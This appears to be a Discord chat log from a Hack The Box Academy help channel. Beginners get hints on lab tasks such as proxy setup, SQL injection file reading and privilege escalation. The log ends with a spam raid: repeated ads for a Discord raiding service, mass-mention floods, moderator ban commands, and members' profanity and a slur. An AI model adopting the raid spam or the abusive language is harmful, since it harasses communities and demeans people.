Hello, I have an issue with Burp/FoxyProxy. I have set up the proxy but when I try to connect to the Target, page wont load, it's loading forever.. any idea what might be wrong?

[scarlet finch]

How did u set up ur proxy ?

[drifting knoll]

if you set up your foxyproxy correctly, its because Burp captured your web request

[swift lava]

Options > Add .. HTTP 127.0.0.1:8080

[drifting knoll]

looks good

check out your Burp

[scarlet finch]

Ok it's normal

now as @drifting knoll said u have to have a thing in ur Burp Suite

[swift lava]

yeap, I am able to intercept the request, but I thought I would be able to see the content of the page (in the browser) as well

[drifting knoll]

therefore you need to forward the request

[swift lava]

I see.. makes sense. Thanks for the prompt response @scarlet finch and @drifting knoll

[urban sage]

Clearing the message for some spoiling. Read the question carefully. You aren't just looking for a running process. You want to find the executable name of an update service specifically.

[visual harbor]

ok

[astral hawk]

is there a way to SSH into the HTC-student@x.x.x.x from my virtual machine kali instead of going through the website? how do I connect the VPN to my own VM?

[urban sage]

Yes. Download the VPN key and start openvpn using that key as an argument. sudo openvpn <key-file>

[paper spindle]

new to htb. I'm trying out the 'archtype' starter machine. I downloaded and installed openvpn (windows). launching the startingpoint file fails due to numerous netsh errors. help appreciated

[crisp dew]

in getting started knowledge check module. I got the flag, but without root access. So I wanna ask is there a way to get root access?

[true sand]

web requests module, i got the login, but doing username:password didnt work, neither did the password alone

what do i put in there

[urban sage]

Best channel for that is #starting-point. You'll need to verify. I would highly recommend setting up a linux VM to work from.

[urban sage]

Potentially? Not sure. Haven't done that module but if you got the flag, you met the objective.

[crisp dew]

maannnnnnnn, my bad. I was the one limiting the available exploit. Well root is easily possible.

[edgy frigate]

I'm having trouble with the system information section of Linux fundumentals

not sure how to find the path to htb-students Mail

[drifting knoll]

check your environment

[edgy frigate]

Ty!!

That worked

[pulsar elm]

In the "WEB REQUESTS - POST Method" I am changing the cookie (which was previously modified to xxxx_12345)in the GET dash request, but the answer is not correct because/and if I refresh I am redirected to login page. What am I doing wrong?

[last kiln]

hello

[placid sable]

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer. I did curl | grep "inlanefreight.com" | wc -l . But still says wrong . Help Me . Thanks in advance

[oak spire]

ok, I'm confused about something... I'm on Navigation and I'm looking for the index number for sudoers in /etc

the command I used was ls -i sudoers

it revealed the number being 18467, but the it says that's the wrong number!

what am I doing wrong?

@everyone please help!

[rustic sage]

[oak spire]

never mind, figured it out lol

thanks

[novel matrix]

Trying to tag everyone doesn't work. If you're requesting help, please be patient.

[oak spire]

Fair enough, sorry

[flint moth]

@fallow mesa

[urban sage]

Would you two jump to dms to avoid posting spoilers in this channel?

[flint moth]

Sorry my bad!!

[urban sage]

All good! Thanks for the understanding!

[harsh pine]

Just doing that is not enough, there are many non unique sub domains there + the original domain. You have to apply more filters. You can use some more options with grep, regular expressions, use sort to remove exact duplicate results and sed if you want to do some more complex stuff. keep trying and Dm me if you need any additional hints

[versed venture]

hi everyone, I'm in the win fundamentals module. I try to do the lab, but I cannot connect to target using the command xfreerdp /v:<targetIp> /u:htb-student /p:Password , any suggestions??

[urban sage]

What is the output of that command?

[versed venture]

[16:19:03:171] [14063:14064] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:19:03:171] [14063:14064] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:19:03:172] [14063:14064] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:19:03:172] [14063:14064] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[16:19:03:533] [14063:14064] [INFO][com.freerdp.primitives] - primitives autodetect, using optimized
[16:19:03:548] [14063:14064] [INFO][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex resetting error state
[16:19:03:548] [14063:14064] [INFO][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex resetting error state
[16:19:18:563] [14063:14064] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[16:19:18:564] [14063:14064] [ERROR][com.freerdp.core] - failed to connect to 10.129

Probably is a silly mistake of my behalf

[urban sage]

Is this edited?

10.129
That doesn't look like the full IP.

[versed venture]

sorry, this is the full last line

[16:19:18:564] [14063:14064] [ERROR][com.freerdp.core] - failed to connect to 10.129.145.74

[urban sage]

Okay. No problem. Just wanted to check. Is the instance running? they shutdown after a bit. hard refresh the page to make sure something isn't cached oddly.

[versed venture]

I reset the target (got a new IP) and also reset the VM Instance, but I got the same mistake

[16:33:44:087] [2271:2272] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:33:44:087] [2271:2272] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:33:44:088] [2271:2272] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:33:44:088] [2271:2272] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[16:33:45:401] [2271:2272] [INFO][com.freerdp.primitives] - primitives autodetect, using optimized
[16:33:45:421] [2271:2272] [INFO][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex resetting error state
[16:33:45:421] [2271:2272] [INFO][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex resetting error state
[16:34:00:436] [2271:2272] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[16:34:00:436] [2271:2272] [ERROR][com.freerdp.core] - failed to connect to 10.129.2.211

[urban sage]

Is a VPN key provided? Can you try connected from a personal VM?

[versed venture]

Yes there is a key, I will give it a try

[tight glen]

Module: Cracking into HTB
Web Requests
Section: Post Method

I need a little help here, could somebody help me real quick?
Following content contains Spoilers:
||My current attempt is login in as guest:guest, grap the cookie, modify it from guest_a96f9b7abd03b4dfe829 to admin_a96f9b7abd03b4dfe829 -> encrypt it and modify my next get request with Cookie: PHPSESSID=admin_a96f9b7abd03b4dfe829 (encrypted). Is this the wrong attempt? Im not sure if the first GET request has to be to login.php or admin/dashboard.php||

[versed venture]

I tried from a personal VM using the openvpn key, but I cannot connect. I read in the support-academy channel that some members are having a connection problem as well

[urban sage]

Would you open a support ticket?

++support

[red obsidian]

Support portal

Hey! Do you have need technical support or have questions about Hack The Box services? We are here to help! You can reach out to the community or the discord staff! If that doesn't resolve your issue you can click the link above and create a ticket.

[versed venture]

yes, thanks for the link to the link of the support portal and also for your help👍

[urban sage]

No problem. Best of luck!

[pulsar elm]

Hey, in GETTING STARTED - Privilege Escalation
in the second question I can see the content of id_rsa but cant change permissions (chmod), I'm stuck here. How should I proceed?

[nocturne heart]

so you are current in that root/.ssh/ directory

ls -la will give you a better idea of the directory permissions

[visual harbor]

Hey there.

What module do you recommend I do? Preferably fundamental level because I'm a beginner. I've finished the Windows, Linux fundamentals and Learning process modules.

[nocturne heart]

Sounds like you only have a few choices left, maybe Web Requests

[sacred crest]

Hey guys...I'm kinda new to Linux and am having trouble with "Which option needs to be set to execute a command as a different user using the "su" command? (long version of the option)" not necessarily looking for the answer...just a point in the right direction. I've tried all the switches I can think of and nothing is working...Thanks
UPDATE!!!! I figured it out...thanks anyways Very easy actually...just had to read and pay attention

[sacred crest]

I'm New to doing the Linux Fundamentals right now....Trying to learn Linux is fun though

[odd horizon]

so i'm doing linux fundamentals and got stuck on How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only) in Filter Contents

Determine what user the ProFTPd server is running under. Submit the username as the answer. need help with this one too

[visual harbor]

Ok, thanks @tranquil carbon & @nocturne heart.

[glossy meteor]

Hello, can anyone help me. just need a guide, not the answer
Module : sql injection
Page 14 : Reading Files
question : We see in the above PHP code that '$conn' is not defined, so it must be imported using the PHP include command. Check the imported page to obtain the database password.

[muted drift]

hey did you get the answer to your question? because I'm struggling with this one also

i was trying to ||login with guest and then refreshing the page to remove cookies and replace login form data with sql injection, just getting failed login||

[muted drift]

ok, nvm, got it

[glossy meteor]

got it..thx for no one helping

[wary osprey]

Hey can anyone DM about Getting Started/Public Exploits. I got the exploit but got problems setting it up.

[opaque elm]

Hi, i'm stuck on "Getting started" -> "Privilege Escalation"
I have run different scripts but I don't know what to look for, I can't read the file in user/flag.txt
I used the "LinPEAS - Linux Privilege Escalation Awesome Script" but I can't find the password of user2

[nocturne heart]

@opaque elm try checking what privileges you have on the box. Execute the command man sudo and search for how to list privileges. 👌🏼

[visual harbor]

Anyone here have experience with tmux and/or tmux logging?

If so, how do I run this command at the bottom of the tmux.config?

(I think you should put a spoiler thing after "but when I try"..)

[harsh pine]

The first one can be done with ||some commands shown in the module for filtering and ss https://www.howtogeek.com/681468/how-to-use-the-ss-command-on-linux/ ||
As for the second one, I recommend ||the ps command, and again, other commands for filtering ||

[stuck pollen]

I have this for learning process but its wrong and i cant find the wording that is correct: ||the enormous difference, how much it makes, if we increase our performance by 1% per day||

can anyone help me with this

[visual harbor]

Hey there.
I'm on the Getting Started module, Section Scanning Services.

I've used the ||smbclient \\\\[IPADDRESS]\\users|| command and entered the users password. Then this comes up, as expected (Photo).
I try doing the ||ls || command but that doesn't work.. This error comes up (Photo).
How do I fix this, please?
Any help appreciated.

The HTB Question is; || Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.||

[smoky shadow]

Sorry, I'm not sure if this is where I can post this but I'm starting to struggle and need some advice

so more and more in the windows fundamentals course, it doesn't teach me the commands necessary to answer the questions, and I end up just googling the answers. This isn't teaching me anything and I must be missing something.

Currently my example is the "windows security" section, wanting me to find the SID of a user. they only teach you how to get your sid (whoami /user)
I had to google the command effectively shutting my brain off just to copy / paste.

Has anyone else had this issue and been able to learn rather than momentarily memorize? I guess I should have already known the command from somewhere else?

I'll gladly take any studying tips and such because I am notoriously bad at studying

[nocturne heart]

@smoky shadow This definitely happens a lot -- very common mentality to slip into

The trick is to notice yourself slipping into this "I need to get the flag" mentality and focus on the puzzle/task at hand instead.

[smoky shadow]

Fair point. thank you 🙂

[nocturne heart]

ofc. it still happens to me sometimes too 😜

[drifting knoll]

besides to what @nocturne heart said, it is about learning and this requires some times that you need to search for it (no matter where). Please keep in mind that we're not a database of "everything". We teach you the concepts that will help you in the future more than just replicating shown steps. If you found the answer on your own, then you know what you had to search for.

[smoky shadow]

Very true, I knew what to look for and found the command pretty quick. lesson learned 😁

[drifting knoll]

take a close look at your command and try to understand what you're doing

i guess if you understand your command properly you don't want to run that 😉

quick reminder here about the server rules:
#rules message
please pay attention especially for rule #8

[rustic sage]

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

hyperspammer.com - Discord raiding as hyper as never before

[raven niche]

@fading crypt@merry egret@final spire@novel leaf@hexed kindle@deft hazel@elfin adder@cursive pilot@bleak flame@soft trout@storm lynx@rustic sage@low plaza@raw stump@severe coral@azure lintel@visual cedar@frozen kernel@keen kernel@outer atlas@junior anvil@gritty hatch@vital moat@unborn oriole@sour valley@abstract canopy@dense timber@viscid jewel@lean tangle@broken hamlet@hollow agate@warped spoke@elfin dagger@abstract lion@warm locust@magic mantle@jade quarry@crude python@twilit geode@minor summit@icy flare@orchid swan@fair crow@novel plover@native lynx@surreal swan@hollow onyx@raven sleet@autumn oar@fluid sentinel@calm scaffold@ornate stream@indigo dock@wary inlet@inner oar@frail flare@safe hatch@worldly garnet@jade narwhal@half otter@ripe basalt@long storm@modest light@worn swift@blazing spade@native patio@sonic osprey@signal kelp@upper wind@remote oasis@dry oyster@atomic wagon@rustic sage@desert lichen@jovial kernel@warm gate@sour holly@snow wave@rugged cliff@clear condor

[tall sable]

@rustic sage@clear palm@devout locust@onyx tendon@torpid prairie@mental hill@red raft@scenic junco@final plover@distant rune@mystic tulip@verbal plaza@rich ridge@rustic sage@lost plaza@stiff minnow@broken hamlet@oblique verge@light jetty@vague quiver@rustic sage@candid bough@foggy dune@elfin adder@next cradle@cunning saffron@small lodge@daring mango@neat mountain@coarse imp@valid ginkgo@normal tide@signal dove@icy grove@sick pine@ionic sonnet@boreal tide@opaque vigil@lament void@median coyote@sacred patio@rustic sage@ornate nimbus@charred hollow@celest willow@magic birch@sullen hedge@blissful horizon@carmine mango@proud jasper@spiral basalt@naive nexus@naive field@late hare@pastel jackal@rustic sage@woven mesa@regal pulsar@barren mason@cyan shuttle@warped sapphire@rustic sage@rustic sage@magic glen@thorn vapor@stuck quartz@somber jacinth@echo acorn@quartz cradle@rustic sage@rugged jackal@untold schooner@oak bobcat@marsh iris@candid nimbus@flint hinge@humble heart@rustic sage@pearl scarab@astral atlas

@jagged tulip@arctic tartan@wind isle@grim shale@lavish ember@green plume@ripe cloud@vernal stag@rustic sage@dusky nexus@vale orchid@keen rapids@restive drift@rustic sage@hushed fjord@gusty dove@still hemlock@grand bobcat@unkempt rivet@dreamy peak@static belfry@junior plover@dreamy jacinth@mellow gulch@ruby moss@tranquil tundra@marsh thicket@west solstice@night osprey@fringe thorn@sonic ravine@final basin@elfin light@exotic isle@late lark@red hazel@flint stratus@formal notch@light moss@maiden axle@stark condor@craggy rapids@mint stump@raven storm@lyric girder@acoustic quail@manic gazelle@left locust@fleet whale@south niche@drifting acorn@vale root@edgy dagger@desert glade@tender remnant@nimble ember@elder oyster@hoary tapir@digital sundial@alpine vessel@stuck steppe@long gull@silent pulsar@drowsy dawn@remote surge@rustic sage@hidden dawn@fickle summit@shell lake@haughty crystal@gentle slate@raven beacon@coral elm@rigid vigil@kind zodiac@chilly glacier@delicate hinge@timber nymph@tidal hamlet@abstract tapir

@obtuse turtle@shrewd sand@trail sentinel@analog hearth@foggy panther@fringe lake@rustic sage@granite pivot@eager swallow@shadow prawn@supple acorn@ripe anchor@rain pasture@delicate slate@rustic sage@spiral widget@hollow python@prisma flare@quasi ore@near maple@noble belfry@rustic sage@drifting rain@round geyser@near nacelle@topaz dune@naive ibex@dark elbow@slender hinge@restive siren@empty dew@lime sierra@barren notch@ornate topaz@random estuary@sour dust@strong venture@deep torrent@raven sun@shut wave@grand anvil@jovial tendon@eternal nimbus@shadow yarrow@young hinge@tough crystal@queen barn@boreal pumice@pallid viper@rustic sage@sick pike@undone herald@vestal crow@final anvil@rapid raven@livid swallow@next basalt@torn pilot@stone basin@crisp sage@modest ferry@vast solar@wet river@narrow halo@indigo dock@rustic sage@final stump@limber wind@queen hatch@faint trellis@velvet token@lyric lion@hollow osprey@nimble plume@hard lark@pliant forum@quaint mural@royal void@void mountain@rustic sage

@obtuse latch@obsidian prawn@keen crypt@ashen ferry@quiet grove@prime nimbus@zealous root@spark bobcat@mellow shuttle@flint stag@lusty flume@digital nest@vast echo@digital relic@cyan iris@onyx sleet@mortal prawn@timid anvil@glass gorge@autumn pewter@slim pagoda@halcyon kraken@soft trout@rustic sage@simple meadow@runic wigeon@scarlet hill@brittle timber@acoustic vector@jaunty drift@nova warren@red nexus@smoky night@surreal swan@surreal gale@haughty bluff@last adder@dusty ivy@reef spruce@silent cargo@elder moon@granite venture@empty crest@winged hedge@winged wadi@hardy walrus@rustic sage@ripe orchid@marble knot@autumn oar@devout mango@dawn jetty@rustic sage@wintry bolt@ancient kindle@idle patio@rustic sage@ebon pine@jovial dust@naive plaza@dark plume@last salmon@uncut grove@orchid moth@fallow creek@hearty skiff@subtle musk@raven condor@proud quartz@thorn violet@lyric thorn@dry quiver@wind valve@formal compass@manic viper@warped elm@fiery oasis@sharp ingot@long tiger@wary heron

@heavy bay@blazing urchin@grand glade@modern berry@rotund kraken@rustic sage@tired plume@rustic sage@hardy flax@viscid wadi@rustic sage@full imp@daring flax@grave sleet@naive ermine@noble token@pine galleon@fair mulch@lusty echo@dense bone@vagrant inlet@fathom spruce@young thicket@tidal marten@shadow raft@spark halo@short yoke@olive ruin@still temple@blazing rivet@dull furnace@molten shale@rustic sage@nimble pecan@proven wing@harsh basin@round ginkgo@hoary magnet@green holly@rain otter@rustic sage@kindred wigeon@rustic sage@rustic sage@plain ravine@blazing forum@rocky sky@rustic sage@tepid otter@slate field@noble vine@brave gale@cyan knoll@indigo fox@old ether@tardy kelp@zinc badger@icy prairie@shadow pond@junior anvil@flint charm@minor canopy@wicked swan@ancient flicker@median hull@candid perch@turbid bolt@river sinew@river thicket@rustic sage@broken coral@azure grove@drowsy wyvern@neat snow@dapper jacinth@humble bison@latent orbit@haughty gulch@fallen narwhal@fleet shale

[oblique bough]

And there we go

[rustic sage]

bruh

[tall sable]

@spice badge@bright wind@humble burrow@versed sable@silk lion@fluid axle@stiff maple@quaint matrix@rustic sage@kind vector@tropic wolf@inner pawn@zinc thunder@carmine peak@wintry gorge@zealous lichen@main grove@heavy ermine@half hatch@rustic sage@rustic sage@quaint silo@small berry@lavish lion@cursive lake@slim vector@lean acorn@marble lodge@kindred tide@lost valve@prime fulcrum@finite edge@zenith ivy@lime arrow@hushed pelican@naive wasp@spark swallow@wintry sigil@flat pulsar@brazen hearth@lunar cipher@west python@icy patio@serene vault@rustic sage@craggy robin@quartz mango@quick wagon@lusty lichen@tulip oar@lyric spruce@frosty trench@hasty hill@bright sigil@craggy dirge@tight jetty@static sail@tacit tinsel@spiral zealot@abstract yew@shell lance@fossil crystal@raw flint@glad torrent@rustic sage@coral fjord@twin kite@warm citrus@rustic sage@weary thunder@cyan pike@cyan prairie@green shale@somber shard@floral palm@noble temple@blissful leaf@grave lynx@young cedar@rustic sage

[vague glade]

oh my

[rustic sage]

hyperspammer.com - Discord raiding as hyper as never before

[tall sable]

@fringe oxide@fresh pulsar@plucky locust@tender sail@worldly lake@sharp sigil@tawdry dragon@dry oyster@neon scaffold@unkempt siren@flat sigil@sweet umbra@cobalt karma@open dock@rustic sage@noble orchid@rustic sorrel@humble jasper@balmy frost@quartz folio@hearty ridge@mossy hamlet@frozen solar@rapid bolt@silk raptor@rustic sage@small scaffold@covert shore@torpid condor@light crater@obsidian canopy@silver stirrup@white storm@echo dome@trim lodge@ancient creek@strange dock@rustic sage@spice crater@glossy gazelle@winged tundra@rustic sage@red orbit@drowsy schooner@fair sigil@rustic sage@pliant jetty@lean ember@strange kraken@red oasis@civic oasis@pallid umbra@digital sleet@trim grail@slow lava@analog acorn@clear bramble@long seal@lost pecan@lament sorrel@half copper@white girder@minor gyro@inner gust@halcyon halo@misty sedge@lyric inlet@open sleet@frigid knoll@toxic swallow@karmic prairie@ashen pivot@wicked dock@tall dragon@pine mango@tacit folio@molten pasture@mint temple@amber nest@hot mantle

[drifting rose]

what

[languid fjord]

++Rm @signal badge 1w spam

[red geyser]

[red obsidian]

Dr.Wario has been banned for a duration of 1w for spam

[languid fjord]

++slowmode 60

[red obsidian]

Set the slowmode delay in this fundamental-modules to 60 seconds!

[rigid vigil]

stop

[west wagon]

What the fug

[fickle dove]

Wtf

[midnight shadow]

what the fuck

[rustic sage]

Chill

[median pendant]

what

[rustic sage]

hyperspammer.com - Discord raiding as hyper as never before

sigh

[languid fjord]

++rm 1w @tall sable

[valid crater]

hyperspammer.com - Discord raiding as hyper as never before

[slim flicker]

What the

[languid fjord]

++rm @latent moon 1w spam

[rustic sage]

fucjk you dumb bitch

[languid fjord]

++rm @thorn cloak 1w spam

[urban sage]

++tempban 1w 840753823847940138

[red obsidian]

3zlu has been banned for a duration of 1w for spam

[rustic sage]

wtf

[rotund shale]

wtf

[languid fjord]

++rm @prime tusk 1w spam

[mortal prawn]

lock the chat

[elfin adder]

Poor guys

[red obsidian]

!,',.сашими,!'.<,3!'',i! has been banned for a duration of 1w for spam

[oblique sundial]

wtf

[marsh apex]

lol

[red obsidian]

Kizord has been banned for a duration of 1w for spam

[regal pulsar]

darn

[waxen igloo]

rip

[next sparrow]

Bruh

[flint charm]

wtf is this

[dense oyster]

What is going on

[wheat linden]

you got this mods

[storm valley]

lmfao

[languid fjord]

++rm @rustic sage 1w s[a,

[dense brook]

Dickheads

[red obsidian]

coldheart has been banned for a duration of 1w for s[a,

[cosmic obsidian]

dafuck

[languid fjord]

++rm @red obsidian 1w spam

[red obsidian]

You cannot ban another staff member.

[willow wasp]

yikes

[languid fjord]

++rm @rustic sage 1w spam

[serene glen]

[gray acorn]

why

[finite thicket]

https://tenor.com/view/milk-and-mocha-dance-dancing-music-gif-12302383

[languid fjord]

++rm @rustic sage 1w spam

[silent plume]

some fuck going on here

[red obsidian]

ICEboy114 has been banned for a duration of 1w for spam

[cloud lake]

holy shit

[languid fjord]

++rm @rustic sage 1w spam

[warm locust]

Hack the discord?

[supple radish]

thats one way to advertise

[languid frigate]

lmao

[red obsidian]

DaHoodaimlock has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[sudden anvil]

Spambots, woohoo.

[red obsidian]

are has been banned for a duration of 1w for spam

[wide grove]

what the fuck

[rustic sage]

o.O

[languid fjord]

++rm @fierce warren 1w spam

[umbral sun]

LMAO rip

[languid fjord]

++rm @ruby reef 1w spam

[winged ermine]

YOU GOT HACKED LMA

[languid fjord]

++rm @thorny hornet 1w spam

++Rm @winter dust 1w spam

[timber patio]

oh they're here too

[velvet niche]

dumb ass

[fickle dove]

[midnight shadow]

wait guys don't send messages so it's easier for the mods to ban them

[rustic sage]

<@&583628976736567296> ????

[red obsidian]

@thorny hornet has their DM's disabled!

[languid fjord]

++rm @rustic sage 1w spam

[young basin]

What's going???

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

DarkBlades^^︻デ═一 has been banned for a duration of 1w for spam

Hazz has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[red hazel]

Lol

[urban sage]

++rm 531493543177617418 raid

[red obsidian]

Invalid time option entered!

[languid fjord]

++rm @rustic sage 1w spam

[dense brook]

RETARDS

[elder adder]

You might want to lock down the chat

[red obsidian]

Spulry has been banned for a duration of 1w for spam

[storm valley]

bruh moment

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

Loux has been banned for a duration of 1w for spam

[rustic sage]

People are “raiding”

[main grove]

Just remove everyones permissions from this channel

[languid fjord]

++rm @jade geode 1w spam

[red obsidian]

Mint has been banned for a duration of 1w for spam

Arthy has been banned for a duration of 1w for spam

renluvr has been banned for a duration of 1w for spam

[dense oyster]

Lock the channel

[next sparrow]

Spam attack

[fickle grove]

Did I win a prize?

[red obsidian]

NetunoFDS has been banned for a duration of 1w for spam

[urban sage]

++rm 1w 31493543177617418 raid

[rustic sage]

why spam in this channel of all channels

[red obsidian]

KiraaPvp has been banned for a duration of 1w for spam

[rustic pike]

Lock the channel!

[red obsidian]

Evie Rivera has been banned for a duration of 1w for spam

[urban sage]

++rm 398184367463071754 1w raid

[red obsidian]

chexedy has been banned for a duration of 1w for raid

[molten prawn]

fucking spam skids

[languid fjord]

++rm @hot cave 1w spam

[red obsidian]

Fire has been banned for a duration of 1w for spam

[thorn viper]

What on fucks name just happened here

[urban sage]

++rm 531493543177617418 1w raid

[red obsidian]

Marija Serifovic has been banned for a duration of 1w for raid

[languid fjord]

++rm @rustic sage 1w spam

[night swallow]

raiding servers only give people 1 week? it should be permanent

[red obsidian]

Enemy Spotted has been banned for a duration of 1w for spam

[urban sage]

++rm 368334960177840130 1w raid

[red obsidian]

Wyvern has been banned for a duration of 1w for raid

[languid fjord]

++rm @fathom jackal spam

[native patio]

i assume its a temp solution and they'll just do it later perm

[rain tangle]

what's going on

[languid fjord]

i dont disagree, its just temp. they're most likely burners

[teal ledge]

a raid

[patent cape]

i think people are getting muted

[urban sage]

++rm 739940334842282054 1w raid

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

Naftaly has been banned for a duration of 1w for spam

[regal pulsar]

i guess this was one of the only insecure channels then

[urban sage]

++rm 280399001751257089 1w raid

[red obsidian]

Nutty has been banned for a duration of 1w for raid

[sonic osprey]

spaming members im guessing?

[languid fjord]

++rm @rustic sage 1w spam

[orchid tinsel]

force phone verification before being able to chat 👀

[red obsidian]

Pure has been banned for a duration of 1w for spam

[wraith tartan]

The same kind of multi-user mention spam happened like 10 minutes ago in TryHackMe's discord too

[urban sage]

++rm 701587690184900628 1w raid

++rm 701587690184900628 1w raid

[languid fjord]

++rm @tall sable spam

[oblique bough]

This is why you should never use betterdiscord peeps

[white basin]

What in the world

[urban sage]

++rm @fathom jackal 1w raid

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

SV has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

Dandi has been banned for a duration of 1w for spam

[languid fjord]

++rm @cosmic bane 1w spam

++rm @rustic sage 1w spam

[red obsidian]

Just A Nervous Emoji has been banned for a duration of 1w for spam

[pallid lynx]

and here i was peacefully going through the fundamental modules

[grand zephyr]

[verbal stream]

lmao poor krazey

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

Sachayoj has been banned for a duration of 1w for spam

[high zinc]

I'm just gonna leave the ban requests for when the other admins get back and wonder wtf happened

[urban sage]

++rm 701587690184900628 raid

[languid fjord]

[urban sage]

++leftban 701587690184900628 1w raid

[red obsidian]

Banned user rah for 1w raid

[neon pike]

yeah this is nice

[languid fjord]

++rm @olive citrus 1w spam

[urban sage]

lol. Good idea.

[viscid jewel]

We just had a raid from around 75~ users not too long ago as well.
Ya'll should invest in an automod bot :P

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

tire has been banned for a duration of 1w for spam

[limber niche]

@viscid jewel Yeah 10 min ago on TryHackMe too

[raven condor]

Wow... Why tf do people do this sh't?

[spiral basalt]

?

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

Stuck at High Plat Sadge has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[mortal prawn]

Add verification to prevent it from happening again. Also try to add a command that locks the chat to minimize the spam in chat rather than using slow mode.

[red obsidian]

nkl has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

revoltzz has been banned for a duration of 1w for spam

[languid fjord]

++rm @ancient nymph 1w spam

[red obsidian]

Bluekiller9433 has been banned for a duration of 1w for spam

[languid fjord]

++rm @cosmic bane 1w spam

++rm @tall sable 1w spam

++rm @raven niche 1w spam

[long storm]

What happened here

[languid fjord]

++rm @tardy forge 1w spam

[red obsidian]

papix has been banned for a duration of 1w for spam

[languid fjord]

++rm @rustic sage 1w spam

[red obsidian]

cynmorisdom has been banned for a duration of 1w for spam

[languid fjord]

++rm @hexed ridge 1w spam

[cyan shuttle]

Will everyone PLEASE simmer down with the suggestions so that mods can do their job peacefully?

[rustic sage]

What's going on here?

[warm lagoon]

raid/spam

[languid fjord]

++rm @tranquil shore 1w spam

[red obsidian]

leonn has been banned for a duration of 1w for spam

[languid fjord]

++rm @tranquil shore 1w spam

++rm @crude gulch 1w spam

[red obsidian]

Hex has been banned for a duration of 1w for spam

[languid fjord]

++rm @raven niche 1w spam

[high zinc]

alternatively just don't comment on the event in chat

[urban sage]

++leftban 303592851562954752 1w raid

[red obsidian]

Banned user Dr. Grey for 1w raid

[high zinc]

raids aren't uncommon or new happenings

[languid fjord]

++rm @cosmic bane 1w spam

[urban sage]

++leftban 661578708955430974 1w raid

[red obsidian]

Banned user leonn for 1w raid

[languid fjord]

++rm @lapis basalt 1w spam

[red obsidian]

Solo has been banned for a duration of 1w for spam

[urban sage]

++ban 285139757959217162 1w raid

[red obsidian]

NightWolf#0268

Ban Confirmed

User Has DM's Disabled!

[languid fjord]

think thats all

👀

[urban sage]

++leftban 594212924491563028 1w raid

[red obsidian]

Banned user รล∂в๏y for 1w raid

[native patio]

Is there a way to check the age of these accts? Since they do indeed seem to be some burners, couldnt you guys restrict chat to accts that have joined for 10 minutes or something, and then if you see a sudden mass influx, flag the accts?

[rustic sage]

yall know if these are fresh or hacked accs? i see some of them have nitro or linked accounts, makes me curious

[limber niche]

@raven condor They are mad, that they didnt get into HtB INV Challenge 😛

[rustic sage]

yes, you can get account age from the snowflake

[native patio]

They appear like they could be just compromised

[languid fjord]

we just havent had the need

[fickle grove]

literally a $1 paywall would prevent most of this

[native patio]

fair

[rustic sage]

that's what i was thinking, damn :(

[cyan shuttle]

This one too

[rustic sage]

and this one 743562825661677709

[void mountain]

Damn

THM and HTB both got raided

[native patio]

